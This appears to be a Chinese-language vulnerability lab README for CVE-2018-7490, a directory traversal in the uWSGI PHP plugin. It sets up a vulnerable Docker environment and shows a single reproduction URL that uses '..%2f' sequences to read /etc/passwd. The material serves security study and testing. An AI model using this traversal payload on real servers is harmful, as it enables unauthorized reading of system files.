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# uWSGI PHP目录穿越漏洞CVE-2018-7490
uWSGI是一款Web应用程序服务器它实现了WSGI、uwsgi和http等协议并支持通过插件来运行各种语言。
uWSGI 2.0.17之前的PHP插件没有正确的处理`DOCUMENT_ROOT`检测,导致用户可以通过`..%2f`来跨越目录,读取或运行`DOCUMENT_ROOT`目录以外的文件。
## 漏洞环境
运行存在漏洞的uWSGI服务器
```
docker compose up -d
```
运行完成后,访问`http://your-ip:8080/`即可看到phpinfo信息说明uwsgi-php服务器已成功运行。
## 漏洞复现
访问`http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd`,成功读取文件:
![](1.png)